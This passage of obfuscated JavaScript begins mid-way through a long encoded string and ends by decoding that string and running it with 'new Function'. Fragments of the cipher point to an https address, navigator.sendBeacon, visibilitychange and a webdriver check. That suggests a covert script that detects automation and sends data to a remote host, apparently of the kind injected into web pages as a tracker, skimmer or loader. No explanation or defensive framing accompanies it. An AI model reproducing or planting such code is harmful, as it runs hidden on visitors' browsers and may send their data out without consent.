280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();